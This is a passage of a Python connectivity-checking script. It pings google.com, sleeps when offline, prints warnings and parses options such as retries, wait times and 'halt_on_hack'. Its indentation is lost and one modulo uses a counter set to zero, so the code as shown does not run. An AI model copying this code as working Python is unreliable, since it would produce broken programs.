print ("If you can read this, there might be a problem with your internet. ")
print ("tests run:",tests_run)
print ("ping target:",ping_target)
if (timetosleep > 600):
ten_min_counter += 1
print ("(Have been sleeping for more than",ten_min_counter*10, "minutes)")
if (ten_min_counter >= 6):
print ("(",(ten_min_counter*10)/60,"hours)")
timetosleep = 600
print ("We're NOT ONLINE! ARGH! Sleeping",timetosleep,"seconds...")
time.sleep(timetosleep)
#quit ("online testville")
################## DOHTTPONLINETEST #############################
def DoHTTPOnlineTest(test_interval, test_counter):
import urllib.request
tests_run = 0
webpage = "NOT YET ASSIGNED BY PROGRAM"
if (test_interval % test_counter == 0):
test_passed = False
while (test_passed) == False:
tests_run += 1
testurl = "https://google.com"
print ("Trying ",testurl)
try:
webpage = urllib.request.urlopen(testurl)
test_passed = True
return
except:
print ("We're NOT ONLINE! ARGH! Sleeping 600s...")
time.sleep(600)
print ("****WARNING ***")
print ("****WARNING ***")
print ("****WARNING ***")
print ("If you can read this, there might be a problem with your internet. ")
print ("tests run:",tests_run)
print ("Webpage:",webpage)
#quit ("online testville")
#*************************** MAIN PROGRAM ***********************
#********************************************************
from socket import *
import random
import os
import sys
import time
import urllib
# Futureproofing in WriteSaveFile
bad_ip_logging = False
future2 = False
future3 = False
bad_ip_logging = GetSingleOption ("-bad_ip_logging")
print ("bad_ip_logging:", bad_ip_logging, type(bad_ip_logging))
#quit()
halt_on_hack = GetSingleOption ("-halt_on_hack")
print ("halt_on_hack:",halt_on_hack, type (halt_on_hack))
#quit ()
retries = GetOption ("-retries:")
if (retries == False):
retries = 10
else:
retries = int (retries)
test_counter = 0
tests_run = 0
wait = GetOption ("-wait:")
print ("wait:",wait, type(wait))
if (wait != False): wait = float (wait)
else: wait = 1.0
print ("wait:",wait, type(wait))
waitrand = GetOption ("-waitrand:")
print ("waitrand:",waitrand, type (waitrand))
if (waitrand != False): waitrand = float (waitrand)
print ("waitrand:",waitrand, type (waitrand))
# If wait != False, wait for rand(1,waitrand) seconds
#quit ("waitrand setup")
random_from_file = GetSingleOption("-random_from_file")
print ("random_from_file",random_from_file, type (random_from_file))